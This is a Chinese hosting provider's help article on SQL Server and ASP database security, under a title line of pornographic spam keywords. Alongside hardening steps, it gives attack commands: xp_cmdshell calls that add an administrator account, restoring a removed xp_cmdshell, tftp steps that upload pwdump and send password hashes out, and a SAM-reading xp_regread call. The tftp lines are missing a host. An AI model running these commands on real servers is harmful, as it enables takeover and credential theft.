欧美黑人精品一区二区三区-蜜臀av午夜一区二区三区在线-被上司欺负的下属人妻-丰满少妇被猛烈进入白浆

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

從IIS到SQL Server數(shù)據(jù)庫安全

發(fā)布時間:  2012/7/4 15:33:22
從codered到nimda等,一大堆蠕蟲把原來需要人工利用的漏洞都變成了程序自動利用了,大家還想去手工操作這些IIS漏洞么?讓我們調(diào)整重心,去看看服務(wù)器常用的數(shù)據(jù)庫吧。

一般網(wǎng)站都是基于數(shù)據(jù)庫的,特別是ASP、PHP、JSP這樣的用數(shù)據(jù)庫來動態(tài)顯示的網(wǎng)站。很多網(wǎng)站可能多注意的是操作系統(tǒng)的漏洞,但是對數(shù)據(jù)庫和這些腳本的安全總是忽略,也沒有太多注意。

從最比較普遍的腳本問題開始,這些都是老話題了,大家可以參考Hectic寫的《關(guān)于數(shù)據(jù)庫的簡單入侵和無賴破壞,以天融信做例子》,該文章對從SQL腳本問題說得非常詳細。對于腳本安全的解決,也可以通過過濾來實現(xiàn),可以參考我以前寫的。對于ASP來說,可以使用下面這個過濾函數(shù):

Function Filter_SQL(strData) 
  
Dim strFilter 
Dim blnFlag 
Dim i 
  
strFilter="’,;,//,--,@,_,exec,declare" 
blnFlag=Flase 
  
Dim arrayFilter 
arrayFilter=Split(strFilter,",") 
For i=0 To UBound(arrayFilter) 
If Instr(strData,arrayFilter(i))>0 Then 
blnFlag=True 
Exit For 
End If 
Next 
  
If blnFlag Then 
Response.Redirect "wrong.asp" 
Else 
Filter_SQL=strData 
End If 
  
End Function

對于MS SQL Server數(shù)據(jù)庫來說,安全問題不僅僅局限在腳本上了。“天殺的微軟”的系統(tǒng)性很強,整個基于WINDOWS系統(tǒng)的應(yīng)用都有很強的關(guān)聯(lián)性,對SQL Server來說,基本可以把數(shù)據(jù)庫管理和系統(tǒng)管理等同起來了。SQL Server默認的管理員帳號“sa”的密碼是空的,這給多數(shù)NT服務(wù)器產(chǎn)生一個安全漏洞。小榕的“SQLRCMD”,就能夠利用獲得的數(shù)據(jù)庫管理員帳號執(zhí)行系統(tǒng)命令。

在SQL Server中有很多系統(tǒng)存儲過程,有些是數(shù)據(jù)庫內(nèi)部使用的,還有一些就是通過執(zhí)行存儲過程來調(diào)用系統(tǒng)命令。

系統(tǒng)存儲過程:xp_cmdshell

就是以操作系統(tǒng)命令行解釋器的方式執(zhí)行給定的命令字符串。它就具體語法是:xp_cmdshell {’command_string’} [, no_output]

xp_cmdshell在默認情況下,只有 sysadmin 的成員才能執(zhí)行。但是,sysadmin也可以授予其他用戶這個執(zhí)行權(quán)限。在早期版本中,獲得 xp_cmdshell 執(zhí)行權(quán)限的用戶在 SQL Server 服務(wù)的用戶帳戶中運行命令?梢酝ㄟ^配置選項配置 SQL Server,以便對 SQL Server 無 sa 訪問權(quán)限的用戶能夠在SQLExecutiveCmdExec Windows NT 帳戶中運行 xp_cmdshell。在 SQL Server 7.0 中,該帳戶稱為 SQLAgentCmdExec,F(xiàn)在對于SQL Server2000,只要有一個能執(zhí)行該存儲過程的帳號就可以直接運行命令了。

對于 NT 和 WIN2000,當(dāng)用戶不是 sysadmin 組的成員時,xp_cmdshell 將模擬使用xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帳戶。如果代理帳戶不能用,則 xp_cmdshell 將失敗。所以即使有一個帳戶是master數(shù)據(jù)庫的db_owner,也不能執(zhí)行這個存儲過程。

如果我們有一個能執(zhí)行xp_cmdshell的數(shù)據(jù)庫帳號,比如是空口令的sa帳號。那么我們可以執(zhí)行這樣的命令:

exec xp_cmdshell ’net user refdom 123456 /add’ 
exec xp_cmdshell ’net localgroup administrators refdom /add’

上面兩次調(diào)用就在系統(tǒng)的管理員組中添加了一個用戶:refdom

當(dāng)我們獲得數(shù)據(jù)庫的sa管理員帳號后,就應(yīng)該可以完全控制這個機器了?梢姅(shù)據(jù)庫安全的重要性。

下面這些存儲過程都是對Public可以執(zhí)行的:

xp_fileexist,用來確定一個文件是否存在。 
xp_getfiledetails,可以獲得文件詳細資料。 
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。 
Xp_getnetname,可以獲得服務(wù)器名稱。

還有可以操作注冊表的存儲過程,這些不是對Public可以執(zhí)行的,需要系統(tǒng)管理員或者授權(quán)執(zhí)行:

Xp_regaddmultistring 
Xp_regdeletekey 
Xp_regdeletevalue 
Xp_regenumvalues 
Xp_regread (對Public可以執(zhí)行) 
Xp_regremovemultistring 
Xp_regwrite

SQL Server的安全配置

除跟著微軟打滿所有補丁外,還需要加強數(shù)據(jù)庫的安全。

首先,你需要加強象sa這樣的帳號的密碼,跟系統(tǒng)帳號的使用配置相似,一般操作數(shù)據(jù)庫不要使用象sa這樣的最高權(quán)限的帳號,而使用能滿足你的要求的一般帳號。

接著對擴展存儲過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都drop吧,一般也用不著。

執(zhí)行:

use master 
sp_dropextendedproc ’xp_cmdshell’

去掉guest帳號,阻止非授權(quán)用戶訪問。

去掉不必要的網(wǎng)絡(luò)協(xié)議。

加強對數(shù)據(jù)庫登陸的日志記錄,最好記錄所有登陸事件?梢杂孟旅娴暮唵蜠OS命令來查看日志:

findstr /C:"登錄" d:\Microsoft SQL Server\MSSQL\LOG\*.*

用管理員帳號定期檢查所有帳號,是否密碼為空或者過于簡單,比如下面的語句:

Use master 
Select name,Password from syslogins where password is null

用下面語句對所有帳號,檢查對存儲過程和擴展存儲過程的執(zhí)行權(quán),提防不必要的執(zhí)行權(quán)限擴散:

Use master 
Select sysobjects.name From sysobjects, 
sysprotects Where sysprotects.uid = 0 
AND xtype IN (’X’,’P’) AND sysobjects.id = sysprotects.id

加強數(shù)據(jù)庫的安全是非常重要的,有的數(shù)據(jù)庫服務(wù)器是和WEB服務(wù)器隔離開的,這就同MAIL服務(wù)器一樣,數(shù)據(jù)庫的日志可能就基本很少去查看,這將會成為管理員的一個疏忽點。類似DNS、MAIL等等,數(shù)據(jù)庫服務(wù)器往往成為各種入侵的跳板。

下面是一些關(guān)于數(shù)據(jù)庫的問答和技巧:

1、獲得SA權(quán)限后,卻不能執(zhí)行xp_cmdshell存儲過程怎么辦?

答:可能是已經(jīng)把xp_cmdshell等擴展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復(fù)。

sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

2、通過數(shù)據(jù)庫用pwdump獲得系統(tǒng)管理員密碼

先上傳一個pwdump

tftp -i GET pwdump3.exe pwdump3.exe 
tftp -i GET lsaext.dll lsaext.dll 
tftp -i GET pwservice.exe pwservice.exe 
pwdump3 127.0.0.1 outfile.txt 
tftp PUT outfile.txt outfile.txt

然后再用解密工具l0pht等等破解這些密碼。

3、從數(shù)據(jù)庫讀取系統(tǒng)管理員密碼。

能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL Server能讀出來是使用的“LocalSystem”帳號,這個帳號比administrator更高一級?梢允褂孟旅孢@個存儲過程。不過讀出來的密碼是經(jīng)過加密后的,然后再解密吧。

xp_regread ’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’

當(dāng)然,數(shù)據(jù)庫安全和缺陷還有很多,還需要更多的研究。我對數(shù)據(jù)庫的學(xué)習(xí)還是起步階段,限于自己的水平,上面的難免有錯,歡迎大家指正和指教。如果你有更多關(guān)于數(shù)據(jù)庫的安全資料或者疑問,歡迎聯(lián)系我,Email: dongjw#staff.ccidnet.com (請將"#"改為"@")



本文出自:億恩科技【www.itdijia.com】

服務(wù)器租用/服務(wù)器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機 24小時售后服務(wù)電話:0371-60135900
  • 虛擬主機/智能建站 24小時售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
      0
     
     
     
     

    0371-60135900
    7*24小時客服服務(wù)熱線